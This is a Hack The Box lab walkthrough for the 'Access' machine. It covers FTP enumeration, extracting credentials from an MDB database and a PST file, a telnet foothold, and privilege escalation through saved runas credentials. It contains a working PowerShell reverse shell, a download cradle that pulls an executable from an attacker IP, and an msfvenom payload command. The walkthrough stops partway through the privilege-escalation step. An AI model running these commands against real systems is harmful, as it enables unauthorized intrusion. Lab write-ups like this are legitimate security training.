Access HTB Walkthrough: PST Files, LNK Exploitation, and Stored Credentials

Access Hack The Box Walkthrough/Writeup:

https://app.hackthebox.com/machines/Access

How I use variables & wordlists:

Variables:
- In my commands you are going to see me use $box, $user, $hash, $domain, $pass often.
  - I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
    - $box = The IP of the box
    - $pass = Passwords I have access to.
    - $user = current user I am enumerating with.
      - Depending on where I am in the process this can change if I move laterally.
    - $domain = the domain name e.g. sugarape.local or contoso.local
  - Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
Wordlists:
- I have symlinks all setup so I can get to my passwords from ~/Wordlists so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to /usr/share/wordlists
  - I also use these additional wordlists:

1. Enumeration:

Simple NMAP to get a view of low hanging fruit:

kali in ~  2GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 19:30:03 zsh ❯ nmap $box -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 19:30 BST
Nmap scan report for 10.129.199.196
Host is up (0.056s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT   STATE SERVICE
21/tcp open  ftp
23/tcp open  telnet
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.06 seconds

Advanced All Ports NMAP Scan:

kali in 46-Boxes/46.02-HTB/Access/scans/nmap  2GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 19:29:41 zsh ❯ sudo nmap -p- -sV -sC -O --disable-arp-ping -Pn -oA FullTCP $box
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 19:30 BST
Nmap scan report for 10.129.199.196
Host is up (0.040s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_  SYST: Windows_NT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: MegaCorp
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_  Potentially risky methods: TRACE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 382.99 seconds

We can see that so far it’s just the 3 services running, FTP, telnet & HTTP & that the system is mostly likely running windows 8

HTTP Enumeration:

I run feroxbuster on the domain but the results are slim.
- The page also appears to be a simple holding page.

Telnet Enumeration:

Not really much here to be honest.

kali in 46-Boxes/46.02-HTB/Access/scans/nmap  2GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 19:31:45 zsh ❯ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 $box -oA telnetScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 09:54 BST
Stats: 0:02:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 10.129.199.196
Host is up (0.036s latency).

PORT   STATE SERVICE VERSION
23/tcp open  telnet?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.99 seconds

FTP Enumeration:

I connect via FTP and can see there are shares available.

I can see in the Backups share there is a file called backup.mdb

An MDB file is a database file created by Microsoft Access, a widely-used desktop relational database program. It contains the database structure (tables and fields) and database entries (table rows). MDB files may also store data entry forms, queries, stored procedures, reports, and database security settings.

More Information
- So this could be good as it could contain creds etc:
  - It’s been replaced by the newer .accdb format. It could include basic password protection but the format lacks advanced encryption, making it less secure than newer formats.
I try and download it using netexec, but it loses it’s damn-mind:
- I figured I’d try netexec’s ftp download method, but that’s what I get for trying something new I suppose.
I then continue to have consistent issues with Passive mode:
- However there is a way around this and you can just download all of the data at once using wget:
  - Command: wget -m –no-passive ftp://anonymous:anonymous@$box

`backup.mdb` enumeration:

I run strings on the file and can see some interesting things like potential usernames/fields:
I tried to open the file with dbeaver but for some reason it would not display correctly.
There is luckily a probject called mdbtools we can use:
- https://github.com/mdbtools/mdbtools
- sudo apt install mdbtools
Find out how many tables & their names:
- - As we can see there is an entry called auth_user
I dump this entry & get 3 lots of creds:
So we have 3 sets of creds, lets take a look at the other services share:

Alt options:
- I find the website: https://www.mdbopener.com/ which let you upload the file & have it extract all the tables to .csv files.
- +Note+: I WOULD NEVER DO THIS OR SUGGEST THIS ON AN ENGAGEMENT!!!!
  - But this is an option for this challenge/box. (I chose not too as I want to make it as close to life as possible for me)

There is a .zip file in here called Access Control.zip
I try and unzip but I am denied as it has access control on it which means password protection
I run file on it to ensure it’s actually a .zip & it is, encrypted with AES.
I run zip2john on it to generate a hash.
I run it through rockyou but get no hits.
I extract it in my gui and use one of the passwords I extracted from the .mdb & it works!
- I am given a file called Access Control.pst

Viewing Contents of the `.pst` file:

What is a .pst:

A PST file is a data storage file that contains personal information used by Microsoft Outlook and Exchange. It may also include e-mail folders, contacts, addresses, and other data.

So this could hold even more valuable information!
I switch to my Windows VM and download this software so I can view the contents of the .pst:
- https://www.ostpstviewer.com/download.aspx
Once imported, I find a single email which contains a password for the security user:

2. Foothold:

With the new credentials for security I login to the telnet server
It gives me access to the C:\ drive of the host.

System Info:

I can see the system is actually running Microsoft Windows Server 2008 R2 Standard

Shell Upgrade:

Initially I try and run powershell but it crashes.
Telnet is trash, well it’s not as we are accessing the host via it, but it’s not great to work in. It’s slow and doesn’t allow us to delete characters. Lets upgrade our shell.
Future bloodstiller here:
- We can actually get a good powershell session from telnet by doing the following:
  - powershell -File -
  - This was not something I was aware of until I had finished the box & read 0xdf’s awesome write-up: https://0xdf.gitlab.io/2019/03/02/htb-access.html (i like to read other writeups after I have finished mine to see what I could have done differently and find a different perspective & approach)

I start a python server on my attack machine to host my nc.exe binary:
I execute powershell from CMD & get it to download the nc.exe binary:
- powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.44:9000/shell.exe','C:\Users\Security\shell.exe')"
Start my nc listener on my attack host:
- nc -nvlp 9999
Trigger nc on the target to connect back:
- Annnnnnnnnd we are blocked by group policy! Sneaky admins.
Lets try a super encoded shell:
- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.44 LPORT=9999 -a x86 --platform windows -e x86/shikata_ga_nai -i 100 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o newshell1.exe
  - BLOCKED AGAIN!
We can assume that anything not on a strict “allow” list is blocked by Group Policy. So let’s switch gears and just live off the land with good ol’ powershell.

Simple Powershell reverse shell:

Finally we get a connection with the below, I have this saved into my notes as a goto but if you are unfamiliar you can also generate it with:

https://www.revshells.com/

    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.44',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

ZTeko Enumeration:

I find a file folder called ZKTeco in the root folder.
It appears to contain a copy of a program called ZKAccess3.5
A quick search turns up this public exploit:
- https://www.exploit-db.com/exploits/40323

Desc: ZKAccess suffers from an elevation of privileges vulnerability which can be used by a simple authenticated user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the ‘M’ flag (Modify) for ‘Authenticated Users’ group.

I check the permissions to see if it’s vulnerable:
It’s not, we are missing the "M" flag for modify for any of the users groups.
- So it appears this is not vulnerable to this specific exploit but I will put a pin in it, incase we can somehow leverage it later on.

System Enumeration:

We need to enumerate more to find a viable privesc path.
So WinPeas etc is great but I have been trying to manually enumerate more as a way to get better at living off the land and working with the tools locally. Let’s do some standard enumeration and see what we have available.

User Privs:

Little in the way of user or group privs:

Installed Programs:

I check for installed programs.

('HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*') | ForEach-Object { Get-ItemProperty -Path $_ } | Select-Object DisplayName, DisplayVersion, Publisher, InstallLocation, InstallDate | Format-Table -AutoSize

The only thing that jumps out at me is the ZKTeco software again.

3. Privesc:

cmdkey /list discovery:

I run cmdkey /list & get a hit:
- So we can see that the Administrator has a domain password stored on this machine!
- cmdkey /list displays a list of stored usernames and credentials on the system.
  - It won’t let us actually view the creds however we can start enumerating for files that would use this feature.
  - Now, we need to figure out what it’s actually stored for, as windows may store creds for multiple reasons.

lnk file enumeration:

One reason that the system may have stored credentials is so that a binary can be run with elevated privileges without the administrator having to enter their credentials every time it runs.
A common way to do this is to use the runas /savecred switch within a shortcut/lnk file:
E.G. create a new lnk/shorcut file on windows but make the content the following:
- runas /user:<username> /savecred "Your Executable Here" this will generate a shortcut file. It will request the credentials for the specified user the first time it’s run & store those credentials, but after that it will run in the context of that user every time by using the stored credentials.
  - The key thing for us as pentesters is this Once credentials are saved using runas /savecred, any application can be run in the context of that account without re-entering the credentials.
- When these lnk files are generated they retain the runas string within them and we can enumerate and search for these to find out if this is a viable privesc path:

We can enumerate stored lnk files by doing the below and checking them for runas as strings:
1. Generate a list of all lnk files on the system:
```
 Get-ChildItem "C:\" *.lnk -Recurse -Force -ErrorAction SilentlyContinue | Where-Object { $_.PSIsContainer -eq $false } | ForEach-Object { $_.FullName } | Out-File lnkFiles.txt
```
  - Command Breakdown:
    - Get-ChildItem "C:\" *.lnk -Recurse -Force -ErrorAction SilentlyContinue
      - Get-ChildItem: Retrieves a list of items (files and directories) from the specified location.
      - "C:\": Specifies the root directory of the C:\ drive to search.
      - *.lnk: Filters the search to only include files with the .lnk extension (shortcut files).
      - -Recurse: Instructs PowerShell to search through all subdirectories of C:\, not just the top-level directory.
      - -Force: Includes hidden and system files in the search.
      - -ErrorAction SilentlyContinue: Suppresses error messages (like permission denied errors) from being displayed.
    - | Where-Object { $_.PSIsContainer -eq $false }
      - |: Passes the output of Get-ChildItem to the next command in the pipeline.
      - Where-Object: Filters objects passed through the pipeline based on a condition.
      - $_: Represents the current object in the pipeline.
      - PSIsContainer -eq $false: Ensures that only files (not directories) are passed through the pipeline. The PSIsContainer property is true for directories and false for files.
    - | ForEach-Object { $_.FullName }
      - |: Continues passing the filtered files to the next command.
      - ForEach-Object { $_.FullName }: Iterates over each file and extracts the FullName property, which is the complete path to the file.
    - | Out-File lnkFiles.txt
      - |: Pipes the full file paths to the final command.
      - Out-File lnkFiles.txt: Writes the output (the list of full file paths) to the file lnkFiles.txt.
2. Loop through the generated list try and read any text stored in the .lnk file:
```
   ForEach($file in Get-Content .\lnkFiles.txt) { Write-Output $file; Get-Content $file | Select-String runas -ErrorAction SilentlyContinue }
```
  - Command Breakdown:
    - ForEach($file in Get-Content .\lnkFiles.txt)
      - ForEach($file in Get-Content .\lnkFiles.txt): Loops through each line (representing file paths) in the lnkFiles.txt file.
      - Get-Content .\lnkFiles.txt: Reads the contents of lnkFiles.txt and treats each line (file path) as an item.
      - $file: Represents the current file path from the loop.
    - { Write-Output $file;
      - Write-Output $file: Outputs the current file path being processed (for visibility or logging purposes).
      - ``This prints the file path from lnkFiles.txt to the console or wherever the output is being redirected.
    - Get-Content $file |
      - Get-Content $file: Reads the content of the file represented by $file.
        
        $file is the current file path from the lnkFiles.txt file.
    - Select-String runas -ErrorAction SilentlyContinue }
      - |: Pipes the content of the file into the next command.
      - Select-String runas: Searches the file’s content for the string "runas".
        
        If "runas" is found, the corresponding line will be output.
      - -ErrorAction SilentlyContinue: Suppresses any errors (e.g., if the file doesn’t exist or there are issues reading it).

We get a hit!!!
- 1. Tells us it is a lnk file for the ZKAccess3.5 binary.
  2. We can see “runas.exe” is being used.
  3. We can see the parmaters for the lnk file when it was created are:
    - “`

Access Hack The Box Walkthrough/Writeup:

How I use variables & wordlists:

1. Enumeration:

Simple NMAP to get a view of low hanging fruit:

Advanced All Ports NMAP Scan:

HTTP Enumeration:

Telnet Enumeration:

FTP Enumeration:

Backups Share Enumeration:

backup.mdb enumeration:

Engineer Share Enumeration:

Viewing Contents of the .pst file:

2. Foothold:

System Info:

Shell Upgrade:

ZTeko Enumeration:

System Enumeration:

User Privs:

Installed Programs:

3. Privesc:

cmdkey /list discovery:

lnk file enumeration:

`backup.mdb` enumeration:

Viewing Contents of the `.pst` file: